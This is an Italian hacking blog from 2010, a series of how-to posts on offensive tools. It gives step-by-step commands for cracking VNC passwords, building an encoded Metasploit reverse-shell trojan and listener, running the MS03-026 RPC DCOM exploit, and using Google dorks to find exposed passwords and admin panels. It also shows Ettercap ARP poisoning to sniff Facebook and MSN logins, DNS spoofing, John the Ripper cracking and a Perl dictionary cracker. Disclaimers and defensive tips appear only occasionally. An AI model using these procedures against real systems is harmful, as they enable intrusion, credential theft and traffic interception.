martedì 30 novembre 2010

Craccare VNC con vncrack

Vncrack è un cracker per server VNC, per i pochi che non lo sapessero VNC è un software che consente il controllo remoto di un computer, questo software è implementato con un' architettura client/server, il server gira sul computer da controllare , il client sul computer che controlla, ovviamente il client prima di poter accedere al server deve autenticarsi, vncrack serve per tentare di craccare la password di autentificazione.In linux si tratta di un programma a linea di comando ed è incluso in Backtrack 4,il link per la versinone windows è a questo  indirizzo http://www.phenoelit-us.org/vncrack/download.html.Tra le varie possibilità di download è presente anche quella di ottenere il codice sorgente in C.Ovviamente, prima di utilizzare il software bisognerebbe assicurarsi che all' indirizzo del target sia attivo il servizio VNC , generalmente sulla porta 5900 , cosa che è possibile verificare con nmap.La sintassi l'utilizzo di vncrack è la seguente:

./vncrack -h <target> -w <wordlist> [opzioni]
-terget è l'indirizzo IP della macchina obiettivo.
-wordlist è il file dizionario dove sono contenute le password (file di testo).

Le opzioni principali sono le seguenti:

-v verbose mode, mostra a video quello che sta accadendo.
-d N aspetta N nanosecondi dopo ogni tentativo.
-D N aspetta N secondi dopo ogni tentativo.
-p P usa la porta P al posto della porta 5900.
-s N aspetta N secondi in caso di connessione fallita.

Una possibilità ulteriore di questo software è utilizzarlo offline su macchine con sistema operativo windows, in windows le password di VNC sono in una di queste chiavi di registro:

\HKEY_CURRENT_USER\Software\ORL\WinVNC3\Password
\HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3\Password


Utilizzando vncrack con questa sintassi:

./vncrack -W

Otterrete la password, come mostrato in figura:
Questo software è davvero molto efficace, per questo motivo se utilizzate VNC seguite queste elementari norme di sicurezza:

-Cambiare la porta di default di VNC.
-Utilizzare password "forti", difficilmente presenti nel dizionario.
-Abilitare VNC server solo quando ne avete realmente bisogno.

lunedì 29 novembre 2010

L'hash MD5 e la sicurezza

Vi sarà capitato spesso di trovare accanto al file da scaricare una lunga stringa di caratteri dal nome sibillino MD5, i più curiosi si saranno anche chiesti che cosa è, e a cosa serve, oggi cercherò di spiegarlo. MD5(Message Digest 5) è un algoritmo di hashing,abbiamo già parlato di crittografia il processo che consente di criptare i file e poi decriptarli attraverso l' uso di chiavi, l' hash invece funziona in modo unidirezionale, ovvero è possibile  da un file ottenere un hash ma non è possibile risalire al file dall' hash (almeno da un punto di vista strettamente matematico).Il funzionamento di questo algoritmo è tale che qualsiasi sia la lunghezza del file esso restituisce sempre una stringa di 128 bit(32 caratteri), non è mia intenzione annoiarvi con la trattazione rigorosa dell' algoritmo, ma se volete approfondire potete trovare una buona buona descrizione del procedimento matematico a questo indirizzo http://fatmatt.wordpress.com/2007/09/16/algoritmo-md5-breve-descrizione-e-procedimento-matematico/. In sostanza MD5 può essere utilizzato come una sorta di "firma digitale", ecco il motivo per cui sempre più spesso viene postato vicino al file che intendete scaricare, dato che l' MD5 è unico per ogni file,se una volta fatto il  download, e calcolato l' MD5 , i due hash non corrispondono allora il file è un fake e potrebbe essere stato manomesso e contenere virus o trojan. Senza dubbio dal punto di vista della sicurezza è un valido aiuto, a questo indirizzo è possibile scaricare un software per il calcolo dell' MD5 di un file http://www.softonic.it/s/calcolo-md5. Gli utilizzi dell' MD5 non sono finiti, visto che si tratta di un algoritmo non invertibile è utilizzato anche per verificare le password degli account, in pratica si conserva in un file l' hash e quando un utente si deve autentificare viene calcolato l' hash della password che immette e confrontata col valore memorizzato nel file, in questo modo non è necessario conservare le password in chiaro in un file ,cosa che sarebbe estremamente rischiosa.Ma non è tutto oro quello che luccica, esistono siti che contengono database con milioni di MD5, quindi per decriptarla si procede confrontando l' hash con tutti quelli contenuti nel database come su questo sito http://md5.rednoize.com/. Se provate ad inserire nel sito questo hash:

c6698873b4f14b995c9e66ad0d8f29e3

Otterrete la parola che lo ha generato cioè "california", questo apre una falla nella sicurezza ,poichè molti amministratori di siti lasciano a disposizione i file contenenti gli hash delle password, quindi con una semplice ricerca su google è possibile impadronirsi delle credenziali di accesso degli utenti. Ad esempio mettendo come stringa di ricerca su google:

"c6698873b4f14b995c9e66ad0d8f29e3" and user

Trovate una serie di username e password...se fossi in voi farei un controllo sulle varie password che utilizzate nei vostri account...non si sa mai.

domenica 28 novembre 2010

Sfruttare i punti vulnerabili del software

Come molti sapranno i programmi sono un insieme di regole e istruzioni da applicare in un certo ordine, che in sostanza dicono al computer cosa deve fare. Ci sono molti protocolli per comunicare alle macchine tali istruzioni essi prendono il nome di "linguaggi di programmazione", non esistono linguaggi migliori o peggiori ,ma semplicemente linguaggi adatti per affrontare un determinato problema e linguaggi meno adatti.Possiamo comunque cercare di scindere i linguaggi di programmazione in due ampie categorie, i linguaggi orientati alla macchina e quelli orientati al problema, per questi ultimi il programmatore deve concentrarsi esclusivamente sulla risoluzione del problema , e non deve occuparsi del modo in cui il computer gestisce  realmente i dati e di come li elabora, un tipico esempio di questo linguaggio è il BASIC.Nel caso invece di linguaggi orientati alla macchina, oltre al problema il programmatore deve occuparsi anche dei  dettagli , deve conoscere come i dati sono gestiti nei registri del microprocessore, deve occuparsi della gestione della memoria, del controllo dei tipi di dati e quant'altro, un esempio di questo linguaggio è l' Assembler. Esistono poi soluzioni di compromesso, linguaggi come il "C" , che sono abbastanza astratti per evitare di doversi occupare di dettagli e abbastanza "vicini alla macchina" per riuscire a scrivere programmi veloci , funzionali e flessibili.Qualunque sia il linguaggio scelto per programmare i programmatori sono esseri umani,e talvolta il codice che scrivono non corrisponde esattamente a quello che intendevano fare, e poichè un programma può fare soltanto quello che è scritto nelle sue istruzioni, si aprono delle falle nella sicurezza.Per trovare questi bugs occorre una mente creativa, alcuni errori sono comuni e ovvi, altri meno ovvi danno origine a tecniche di exploit complesse ed applicabili in svariate circostanze. Un errore molto comune è il "fuori di uno", se io vi domandassi quanti paletti sono necessari per completare una recinzione di 100 metri con un paletto ogni 10 metri, molti risponderebbero 10, in realtà ne occorrono 11 in quanto bisogna contare gli spazi e non i paletti.Questi errori raramente vengono rilevati in fase di debug perchè generalmente non si manifestano durante la normale esecuzione, ma con particolari valori di input si verifica l' errore dando origine ad un effetto valanga ,ed un programma apparentemente sicuro diventa vulnerabile. Un altro errore possibile per chi programma in un linguaggio ad alto livello come il C , è il "bufferoverflow", questo bug sfrutta il fatto che in C possiamo definire la dimensione massima di un buffer di dati in fase di programmazione, ma se non si implementa anche un algoritmo di controllo dell' input, i dati in eccesso scritti in quel buffer potrebbero sovrascrivere aree critiche della memoria provocando malfunzionamenti o blocchi ,sfruttando questo bug potrebbe essere possibile scrivere un exploit per prendere il controllo del computer stesso.La maggior parte dei programmatori scrive in linguaggio di alto livello ,e quindi spesso non prende in considerazione parametri come visibilità di variabili in memoria,chiamate allo stack,puntatori di esecuzione, registri ecc.Un hacker che conosca i comandi della macchina di basso livello comprende i meccanismi reali di esecuzione del software, e leggendo il codice compilato del programma ad alto livello potrebbe escogitare un sistema per cambiarne il flusso di esecuzione, questo senza infrangere alcuna regola del programma ma semplicemente utilizzandole in una maniera che non era stata prevista.

sabato 27 novembre 2010

Creare un trojan con metasploit

Oggi vediamo come è possibile creare un programma trojan utilizzando il tool Metasploit, la procedura è molto semplice,tuttavia se intendete provarlo fatelo solo nella vostra rete e sulle vostre macchine, io come sistema bersaglio ho utilizzato una macchina virtuale con windows xp, mentre come sistema attaccante una macchina con la solita distribuzione Backtrack 4.Come payload useremo una "reverse shell" che si connetta al nostro indirizzo Ip, l'utilizzo della reverse shell è preferibile specie se sul sistema bersaglio è installato un firewall, con la reverse shell il trojan è un client e non un server , e i firewall sono molto più permissivi con i client che con i server. La prima operazione da compiere è  lanciare metasploit, cosa che potete fare comodamente da menu, dopo bisogna caricare il payload scelto con il seguente comando:

./msfpayload windows/shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=31117 X >/tmp/back.exe
In LHOST mettete il vostro indirizzo ip (in linux per trovarlo basta dare il comando "ifconfig"), LPORT è una porta a caso quindi potete anche lasciare quella scritta,"back.exe" è il nome dell' eseguibile scegliete quello che più vi piace, quando il file è pronto otterrete una risposta simile a questa:


La fase successiva è quella di cifrare il back.exe in modo da rendere la sua individuazione da eventuali antivirus più difficile, quindi diamo il comando:

./msfpayload windows/meterpreter/shell_reverse_tcp  R | msfencode -t exe >  back.exe

Il troyan è pronto, ma prima di testarlo bisogna mettere un server sul sistema attaccante in ascolto, useremo quello di metasploit, carichiamo innanzitutto il modulo "multi/handler" con il comando:

use exploit/multi/handler

In seguito settiamo il server con i comandi seguenti:

set payload windows/shell/reverse_tcp

set LHOST xxx.xxx.xxx.xxx (inserite il vostro ip)

set LPORT 31117 (inserite la porta scelta in precedenza)

Ora lanciamo il server con il comando :

exploit

Il server sul nostro sistema è in ascolto, adesso se eseguite il file back.exe sul sistema bersaglio(quello con windows),questo si connetterà al sistema attaccante restituendovi una shell di comando, in figura potete vedere la chiamata di back.exe al sistema attaccante.

 

giovedì 25 novembre 2010

Metasploit framework

Cercare di riassumere tutte le funzionalità di "Metasploit" in un solo articolo è un'impresa a dir poco ardua,quindi cercheremo di analizzare la sua struttura e i suoi possibili utilizzi in vari articoli corredati di esempi, che verranno postati nel blog di tanto in tanto.Per prima cosa cerchiamo di capire che cosa è esattamente "Metasploit", esso è un insieme di strumenti software (framework) dedicati allo sviluppo ed esecuzione di exploits,shellcodes,opcode. In sostanza possiamo affermare che in se "Metasploit" racchiude tutti gli strumenti che occorrono nel "penetration testing". La prima versione risale al 2004 originariamente scritta in perl,il suo grande  successo ha contribuito ed aumentato il suo sviluppo, grazie anche al fatto che metasploit consente di scrivere proprio codice , e partecipare cosi alla crescita del progetto.E' possibile accedere alle funzionalità del framework attraverso 5 interfacce:

1)mfsconsole , un'interfaccia testuale rapida stabile e completa.
2)mfscli, interfaccia testuale a riga di comando
3)msfweb, interfaccia web probabilmente la più "comoda" , che consente di utilizzare il framework direttamente dal browser
4)msfgui, interfaccia grafica propria.
5)msfapi , che consente l' interfacciamento del framework con altri strumenti software.

Generalmente un attacco si svolge attraverso 5 fasi:

1)Scelta e configurazione di un exploit, ovvero del codice che deve colpire una certa vulnerabilità.
2)Verifica che il sistema sia soggetto all' azione di quel particolare exploit.
3)Scelta e configurazione di un payload, codice che viene eseguito nel caso l' exploit abbia avuto successo.
4)Scelta della crittografia del payload.
5)Esecuzione dell' exploit.
 Ovviamente la scelta dell' exploit da utilizzare presuppone che il sistema bersaglio sia vulnerabile, per assicurarsi di ciò Backtrack mette a disposizione molti strumenti, a volte basta una scansione delle porte, a volte è necessario ricorrere a strumenti più complessi come Nessus,naturalmente è necessario che questa analisi sia più nascosta possibile.Facciamo un esempio tipico lavorando con mfsconsole, se ad una scansione con NMAP ricevete una risposta simile a questa:
 
Potete indirizzarvi subito sull' exploit da utilizzare, in quanto il sistema operativo dell' host remoto(windows) e la porta 135 aperta , indicano la ben nota falla sull'interfaccia RPC DCOM, quindi la scelta dell' exploit cadrà su msrpc_dcom_ms03_0026. Dalla console di Metasploit se digitate:

use msrpc_dcom_ms03_0026

Nel caso in esame , per un corretto funzionamento dell' exploit si deve settare l' indirizzo dell' host target,in generale digitando "show options" dopo "use (nome exploit)", si ottengono informazioni sui vari paramentri da settare.

set RHOST XXX.XXX.XXX.XXX

Ora l'exploit è pronto per essere eseguito sull' host target. Procediamo con la scelta del payload, metasploit mette a disposizione diversi payload che possono essere combinati con i vari exploit quelli più comuni sono:

-download_exec Scaricano ed eseguono un eseguibile sul sistema target.
-dllinject Istallano una libreria sul sistema target.
-exec Eseguono un comando sul sistema target.
-shell Ottengono una shell dei comandi sul sistema target.
-vncinject Eseguono una sessione vnc sul sistema terget.

Nel nostro esempio, carichiamo come payload una "reverse shell", in modo che se nel sistema target fosse presente un firewall che blocca i programmi server , non ci sarebbero problemi, in quanto la richiesta di connessione con questo tipo di payload avviene da parte del sistema target.

set PAYLOAD win32_reverse


Adesso settiamo LHOST, il nostro indirizzo IP per ricevere la connessione:

set LHOST xxx.xxx.xxx.xxx

Ed infine lanciamo l' exploit con il comando:

exploit

Se tutto è andato bene avrete la vostra shell, come mostrato in figura.

mercoledì 24 novembre 2010

Esempi di google hacking

Abbiamo avuto occasione di parlare di google hacking , oggi volevo presentarvi alcuni esempi significativi della potenza di questo tipo di tecniche. Cominciamo con l' hacking di Microsoft Frontpage la stringa da ricercare è la seguente:

inurl:_vti_pvt "service.pwd"


Username è password in bella mostra,ovviamente, se nel sito che amministrate è presente una debolezza di questo tipo ,dovete porvi subito rimedio.Un altro esempio è la ricerca di accesso al pannello di amministrazione PHP, la stringa è la seguente:

intitle:phpMyAdmin "Welcome to phpMyAdmin ***" "running on * as root@*"

Come potete vedere abbiamo ottenuto un accesso privilegiato senza bisogno di nessuna password.Vediamo ora l' hacking di qualche fotoalbum online, la stringa è la seguente:

inurl:"phphotoalbum/upload"

  
In questo caso sarebbe possibile l'upload di foto verso il sito. Altro valido esempio è l hacking di VNC, la stringa di ricerca è questa:

"vnc desktop" inurl:5800

In questo caso, per accedere al desktop remoto, bisognerebbe craccare la password, magari utilizzando qualche  software specializzato come xhydra.Come ultimo esempio vediamo come procedere per l hacking di qualche stampante di rete, la stringa di ricerca è questa:

inurl:"port_255" -htm
Selezionando un file sulla nostra macchina viene inviato e poi stampato.Come potete capire google è un mezzo molto potente per recuperare informazioni di ogni tipo, anzi potremmo dire che il primo test di sicurezza del vostro sito dovrebbe partire proprio da qui.

martedì 23 novembre 2010

Le backdoor

Le backdoor come suggerisce la sua traduzione "porta sul retro", sono dei canali di comunicazione privilegiati che consentono di superare le procedure di sicurezza di un sistema informatico.A volte sono cerate di proposito per permettere l'accesso a un sistema per motivi di gestione, ma molto più spesso sono dovute a malware(virus,trojan) o ad eventuali bugs. Una backdoor su un sistema informatico è una cosa molto grave dal punto di vista della sicurezza, in quanto potrebbe consentire a chiunque entrasse in possesso dell' indirizzo IP della macchina di controllarla da remoto, consentendo di esplorare il contenuto del sistema , modificare file o directory, modificare il registro e quant'altro. Una backdoor molto nota su sistemi UNIX è quella di craccare le password contenute nel file /etc/passwd, in tal modo si otterrebbero più account disponibili, per poter tornare sulla macchina tutte le volte che si vuole senza destare sospetti. Inoltre si potrebbe creare un utente nuovo e mettere uid/gid a 0 in modo da avere privilegi di root. Altre backdoor più complesse sono quelle che consentono accessi al sistema non da rete locale ma dall' esterno, ed esempio attraverso internet, molte volte gli amministratori cercano di controllare gli accessi loggando solamente le connessioni TCP senza occuparsi di altri protocolli come UDP e ICMP, permettendo agli hacker con una backdoor di farsi restituire una shell su quella porta bypassando il firewall.Un esempio in questo senso è possibile col programma ping, molti firewall consentono il ping dall' esterno , cosi un hacker inserendo alcuni dati nel pacchetto ICMP ,ed avendo installato una backdoor sul sistema, potrebbe farsi restituire una shell ed avere accesso al sistema. Un altro valido esempio è una backdoor sui processi in stato di running, modificando il comando "ps" che lista i processi, si potrebbe nasconderli agli occhi dell' amministratore del sistema, come potete capire gli esempi che si possono fare sono molti e variegati. In uno dei prossimi articoli faremo conoscenza con un tool, contenuto in backtrack 4 chiamato "metasploit", e vedremo come costruire un "eseguibile esca"  che apre una backdoor su sistemi windows e che ci restituisce una shell in modo da aver accesso alla macchina da remoto.

lunedì 22 novembre 2010

Sniffare password Facebook e MSN con Ettercap

Oggi analizziamo un' altra possibilità offerta da Ettercap, ossia la possibilità di catturare password su reti commutate anche se sono criptate con protocollo SSL 1, come per esempio autenticazioni Facebook o MSN o hotmail, anche in questo caso Ettercap svolge magicamente tutto il lavoro, dobbiamo solo fare una piccola modifica al file /etc/etter.conf.
Quindi la prima cosa da fare è aprire con un editor di testo etter.conf, scorrete il file fino a trovare queste linee:
#---------------
#     Linux
#---------------

# if you use ipchains:
   #redir_command_on = "ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"
   #redir_command_off = "ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"

# if you use iptables:
   #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
   #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Modificatele come segue e salvate il file.

#---------------
#     Linux
#---------------

# if you use ipchains:
   redir_command_on = "ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"
   redir_command_off = "ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"

# if you use iptables:
   redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
   redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Adesso, selezionate la vostra interfaccia, effettuate lo scaning degli hosts, non selezionate nessun target in modo che tutti gli hosts della lan saranno intercettati.Quindi selezionare il menu "Mitm –> ARP Poisoning" spuntate l' opzione "sniff remote connections" e dare OK.Fatto tutto questo iniziate lo sniffing "Start –> Start Sniffing". Non resta che aspettare, se un utente cerca di autentificarsi su una connessione SSL riceverà una finestra di dialogo che gli chiederà di esaminare il certificato dell’account ,una volta ricevuto il consenso ettercap vi mostrerà password e username.

domenica 21 novembre 2010

DNS spoofing con Ettercap

Il DNS è un protocollo che ha il compito di tradurre gli indirizzi in forma simbolica (es. www.indirizzo.it) in indirizzi IP xxx.xxx.xxx.xxx. Quando nel browser scrivete un indirizzo che intendete visitare, esso scambia informazioni con  il server DNS che restituisce alla vostra macchina l' IP corretto.Con la tecnica di DNS spoofing la richiesta (query) della vittima al server dns, viene catturata dall' attaccante che invia una risposta diversa da quella corretta.Questo tipo di attacco è molto pericoloso, immaginate di voler visitare il sito della vostra banca online ,ma al vostro router è collegato anche qualche malintenzionato, egli potrebbe reindirizzarvi su un falso sito e potrebbe catturare tutti vostri dati sensibili. Con Ettercap questa tecnica è veramente semplice, a patto di essere nella stessa sottorete, vediamo come è possibile implementarla.Immaginiamo questo scenario , un router, due computer connessi, uno della vittima e uno dell' attaccante. La prima operazione da compiere è modificare il file /usr/share/ettercap/etter.dns, supponiamo di volere reindirizzare la vittima a questo indirizzo 85.85.85.85 quando cerca di visualizzare il sito www.test.it , in questo caso basta scrivere in etter.dns:

test.it A 85.85.85.85
*.test.it A 85.85.85.85
www.test.it PTR 85.85.85.85

Quindi salvare il file.

Fatta questa operazione, eseguire Ettercap, aggiungere il router come target1 e la vittima come target2(vedi articolo precedente), poi dal menu "Mitm –> ARP Poisoning"  spuntate l' opzione "sniff remote connections",e dare OK. Ora dal menu "Plugins -> Menage the plugins" selezionate dns_spoof:

Infine dal menu "Start -> Start sniffing".
Quando la vittima cercherà di visualizzare l' indirizzo www.test.it o test.it, verrà reindirizzato all' IP 85.85.85.85.Questo esempio vi dovrebbe mettere in guardia sull' eventuale insicurezza della vostra rete, specie se si tratta di rete wifi, prestate molta attenzione al vostro router e al tipo di protezione che utilizzate.

sabato 20 novembre 2010

Sniffing di rete con Ettercap

Definire Ettercap come un semplice sniffer di rete è molto riduttivo, questo utilissimo software è in grado di fare ben altro, in questo articolo cercherò di fare una panoramica su come è possibile utilizzarlo. Ettercap a differenza degli sniffer "tradizionali", può intercettare traffico di rete anche in reti switchate,  senza ricorrere a programmi esterni per compiere l ' arp-poisoning.Oltre a questo Ettercap possiede delle capacità di HTTPS E SSL 1 password sniffing ,OS fingerprinting(riconoscimento dei sistemi operativi) su host in rete, possibilità di killing sulle connessioni e capacità di DNS spoofing. Chi ha preparato la chiavetta con Backtrack 4, potrà subito cimentarsi nel provare il programma , gli altri possono  scaricarlo a questo indirizzo http://ettercap.sourceforge.net/download.php.Vediamo ad esempio come è semplice sniffare il traffico fra un router e un sistema bersaglio, una volta lanciata l'interfaccia grafica selezionare la voce di menu  "Sniff –> Unified Sniffing" , da qui è possibile scegliere l'interfaccia di rete da utilizzare nello sniffing. Per cercare gli  hosts connessi scegliere dal menu "Hosts –> Scan for Hosts", dopo qualche secondo dal menu "Hosts –> Hosts List" è possibile vedere tutti gli hosts collegati alla rete.Ora potete scegliete il vostro sistema bersaglio, dalla finestra "Hosts List" selezionare l' indirizzo del router e cliccare su "Add to target 1", ripetete la stessa operazione per il sistema bersaglio e premere "Add to target 2". Quindi selezionare il menu "Mitm –> ARP Poisoning" spuntate l' opzione "sniff remote connections" e dare OK.
Ed infine cominciate lo sniffing , menu "Start –> Start Sniffing".

Le potenzialità del software non sono affatto finite,si possono utilizzare plugin e filtri, vediamo ad esempio come è possibile impedire la connessione alla rete di un particolare IP con l'ausilio dei filtri.Prima operazione da compiere è scrivere il filtro, dobbiamo semplicemente scrivere in un file di testo questo codice:


#filtra uno specifico ip
if(ip.src=='xxx.xxx.xxx.xxx'){
kill();
drop();
}
#eof
#vim:ts=3:expandtab

Al posto delle x inserire l'IP che volete filtrare e salvate il tutto con il nome "etter.myfilt" nella directory:
/usr/share/ettercap/.
Adesso da terminale digitate:
etterfilter -o /usr/share/ettercap/etter.myfilt.ef  /usr/share/ettercap/etter.myfilt
Ok, il filtro è pronto e compilato.

Eseguite ettercap, scegliete  l' interfaccia, trovate gli host, aggiungete il router come come target1, poi il vostro sistema bersaglio come target2, quindi "Mitm –> ARP Poisoning" spuntando "sniff remote connections" dare OK, iniziate lo sniffing "Start –> Start Sniffing".Quando lo sniffing è in corso dal menu "filters" selezionate il file che avete creato "etter.myfilt.ef" , all'IP specificato nel filtro viene impedito il collegamento alla rete. Altri esempi sui filtri sono contenuti nella directory /usr/share/ettercap/, ad ogni modo torneremo ancora su ettercap per scoprire altre interessanti possibilità.

venerdì 19 novembre 2010

Google hacking

Diciamo che con "google hacking" si intende una semplice tecnica di hacking che consiste nello sfruttare il più potente motore di ricerca per ottenere informazioni riservate, queste possono consentire di violare siti o account o semplicemente di entrare in possesso di informazioni di cui non era prevista la diffusione pubblica.Per praticare il google hacking non è necessario di essere in possesso di particolari conoscenze informatiche o di software particolari e complicati, tutto quello che occorre è il vostro browser e familiarizzare con i parametri di ricerca avanzata che è possibile utilizzare con google.Diciamo che in se queste tecniche non sono illegali, ma potrebbe essere illegale l'uso che si fa delle informazioni di cui siete venuti in possesso, ad esempio se trovo la password dell' amministratore di un sito e la uso per entrare senza il consenso del legittimo proprietario, allora commetto un reato.Quindi utilizzate queste tecniche per scoprire eventuali "debolezze" presenti nel vostro sito, mentre cercate di evitare intrusioni dove non siete stati invitati. Ora analizziamo gli operatori di ricerca avanzata che ci mette a disposizione google:

site: Con questo parametro è possibile ricercare all' interno di un particolare sito o categoria di siti , esempio se vogliamo cercare la parola "internet" all' interno di questo sito basta scrivere:

"internet site:d1966.blogspot.com"

related:  Serve per cercare un indirizzo url simile a quello che noi inseriamo nel campo di ricerca, ad esempio se cerchiamo un indirizzo simile a quello di alice scriviamo:

"related:www.alice.it"
 
link: Con questo operatore possiamo ricercare tutti i siti che contengono un link al collegamento da noi scritto nel campo di ricerca, esempio:

"link:www.alice.it"

inurl: Seguito da uno o più termini, ricerca risultati che includono il primo termine da noi
cercato nell’URL delle pagine e gli altri termini sia nell’URL che nel testo del sito trovato, esempio:

"inurl:telefono alice"

allinurl: Con questo operatore, ricerchiamo tutte le parole  solo all’interno dell’URL, esempio:

"allinurl:alice"

intitle: Utilizato per ricercare la prima parola nel titolo della pagina , e le eventuali altre parole sia nel titolo che nel testo, esempio:

"intitle:alice telefono"

allintitle: Inserendo questo operatore prima delle parole da cercare, avremo come risultato della ricerca solo link che hanno le parole da noi cercate nel titolo della pagina , esempio:

"allintitle:alice telefono"

cache: Con questa funzione, cerchiamo solo le pagine web della cache di google, esempio:

"cache:alice telefono"
 
info: Operatore che consente di cercare info riguardanti il sito che inseriamo nella casella di ricerca, esempio:

"info:www.alice.it"

filetype: Operatore che consente di cercare file con una determinata estensione, esempio:

"alice filetype:doc"

Oltre a questi operatori è possibile raffinare meglio la ricerca con operatori booleani per combinare insieme due o più opzioni di ricerca essi sono:

and: Per ricercare tutte le parole, esempio:

"terra and fuoco"

or: Per ricercare almeno una delle parole, esempio:

"terra or mare or fuoco"

- : Per escludere una o più parole, esempio:

"terra -mare"

 
+ : Per includere una o più parole, esempio:

"terra +la"

* (asterisco): L’asterisco è un operatore speciale che ci agevola nella ricerca. Se cerchiamo la parola “salut*”cercheremo tutte le parole che iniziano con "salut", esempio:

"salut*"
 
"": Le virgolette servono a ricercare una corrispondenza esatta della frase come la scriviamo, esempio:

"indexof" (qui le virgolette ci vogliono)


Bene , adesso che abbiamo spiegato in che modo è possibile raffinare le nostre ricerche con google, non resta altro che concentrarsi sul "cosa vogliamo cercare", qui la vostra fantasia e competenza entrano in gioco, ad esempio se volete ricercare password in ambiente windows potete provare con una stringa del genere:

 
"site:www.prova.it filetype:pwd"

Oppure per ricercare delle cartelle riservate, che molto spesso gli amministratori dimenticano di proteggere o cancellare, potete provare con questa stringa:

"site:www.prova.it indexof “parent directory”"

Torneremo ancora su questo argomento, per capire come è possibile ricercare non solo documenti ma particolari software installati sui server con dei bugs noti ,che potrebbero essere sfruttati per penetrare senza problemi nei siti.

giovedì 18 novembre 2010

Guida a john the ripper

Come accennato nell'articolo precedente "john the ripper" consente di fare molto di più di un attacco dizionario, questa piccola guida spero serva a spiegare meglio le sue potenzialità.Esaminiamo la sintassi e le opzioni possibili:

john [OPTIONS] [PASSWORD-FILES] 
-single
-wordfile:FILE
-rules
-incremental[:MODE]
-external:MODE
-stdout[:LENGTH]
-restore[:FILE]
-session:FILE
-status[:FILE]
-make-charset:FILE
-show
-test
-users:[-]LOGIN|UID[,..]
-groups:[-]GID[,..]
-salts:[-]COUNT
-format:NAME (DES/BSDI/MD5/BF/AFS/LM)
-savemem:LEVEL

Per quanto riguarda il password-files, non sono altro che i nomi(o il nome)  dei file delle password da craccare.Per le opzioni:

-single Questa opzione è consigliata solo per le password "deboli" in quanto comprende solo poche regole e il dizionario di default con poche parole.
john -single pass.txt (pass.txt è il file dove sono memorizzate le password da craccare)

-wordfile:FILE Utilizza un dizionario personalizzato al posto di quello di default.Prova con ogni parola della lista finché non trova una corrispondenza o raggiunge la fine della lista.
john -wordfile:password.lst pass.txt

-rules Consente di definire le regole per l'utilizzo di liste di parole.Le opzioni sono tante se volete utilizzare questo comando vi consiglio di guardare qui http://www.openwall.com/john/doc/RULES.shtml.

-incremental[:MODE] Consente di eseguire un attacco bruteforce,con particolari regole.
john -incremental:alpha pass.txt (solo lettere)
john -incremental:digits pass.txt (solo numeri)
john -incremental:lanman pass.txt (lettere, numeri,e alcuni caratteri speciali)
john -incremental:all pass.txt (tutti i caratteri)

-external:MODE Usato per definire modalità esterne per il cracking, usando funzioni scritte in linguaggio C.
 john -external:[MODE] pass.txt

-stdout[:LENGTH] Non serve a craccare, ma a scrivere in un file o verso l'input di un altro programma.
john -incremental:alpha -stdout (es. stampa tutte le combinazioni di lettere a video)

-restore[:FILE] Durante il funzionamento di john se si preme ctrl + c,prima di uscire dal programma verrà creato un file chiamato "restore",successivamente si può riprendere da quel punto utilizzando questa opzione.
john -restore:restore

-session:FILE Cambia il nome del file per il restore. 
john -session:[nomefile] pass.txt

-status[:FILE] Mostra i progressi fatti nel file restore. 
john -status:[nomefile]

-show Mostra quante password sono state craccate e quante no.
john -show pass.txt

-make-charset:FILE Usato per definire un set di caratteri personalizzati per il cracking, questo file verrà utilizzato con la modalità incrementale (-incremental[:MODE]) 
john -make-charset:custom.chr pass.txt

-test Mostra quanto velocemente john funziona sul tuo computer. 
john -test

-users:[-]LOGIN|UID[,..] Cracca le password solo per l'utente o gli utenti indicati. 
john -users:User pass.txt

-groups:[-]GID[,..] Cracca le password solo per il gruppo o i gruppi indicati. 
john -group:gruppo pass.txt

-salts:[-]COUNT Cracca le password specificando il salt. 
john -salts:2 pass.txt

-format:NAME (DES/BSDI/MD5/BF/AFS/LM) Visto che john può decifrare diversi tipi di cifratura , è possibile indicarli con questa opzione.
john -format:DES pass.txt
john -format:BSDI pass.txt
john -format:MD5 pass.txt
john -format:BF pass.txt
john -format:AFS pass.txt
john -format:LM pass.txt

-savemem:LEVEL  Per salvare il processo in corso.
 john -savemem:1 pass.txt (salvato livello1)
 john -savemem:2 pass.txt (salvato livello2)

Ovviamente è possibile combinare insieme varie opzioni, ci sono anche interfacce grafiche che potete reperire in rete, onestamente non ho sentito la necessità di provarle, ad ogni modo esistono basta fare una ricerca su google.

mercoledì 17 novembre 2010

Cracking delle password in linux

Nei sistemi linux le password per i vari utenti non sono conservate in chiaro in un file, ovviamente questo sarebbe veramente troppo pericoloso, quindi prima di memorizzarle, si utilizza una funzione hash non invertibile. La più nota e utilizzata si basa sul DES, ed è chiamata dal comando di sistema crypt().Detta funzione ha come input una password in chiaro, ed un valore di salt, e restituisce come output un hash avente come prefisso il valore di salt. Da un punto di vista matematico è impossibile risalire alla password partendo dall' hash, il valore di salt è utilizzato per perturbare l' algoritmo di generazione dell'hash, in tal modo è possibile avere hash differenti per password uguali, ad esempio crypt(prova, ju) risulterà differente da crypt(prova, ki). Quando un utente intende autenticarsi, viene invitato ad inserire la password che insieme al valore di salt(estratto dal file delle password) viene elaborata dalla funzione crypt(), se l'hash ottenuto corrisponde a quello contenuto nel file delle password l' utente sarà autenticato, è da notare che questo sistema funziona senza che la password in chiaro venga memorizzata. Ora se è vero che da un punto di vista matematico è impossibile dall' hash risalire alla password, nulla vieta di procedere per tentativi, cioè si potrebbe provare ad utilizzare un dizionario, ed estraendo dal file delle password il salt di un particolare hash , provare e riprovare finchè una parola del dizionario e il salt ,passando per la funziona crypt(), diano come risultato l'hash memorizzato nel file delle password. Implementando questo procedimento in perl :

#!/usr/bin/perl
$hash=shift;
$salt=substr($hash,0,2);
while(defined($pass =<STDIN>))
{
chomp $pass;
if(crypt($pass,$salt) eq $hash)
{
print "la password è $pass\n";
exit;
}
}
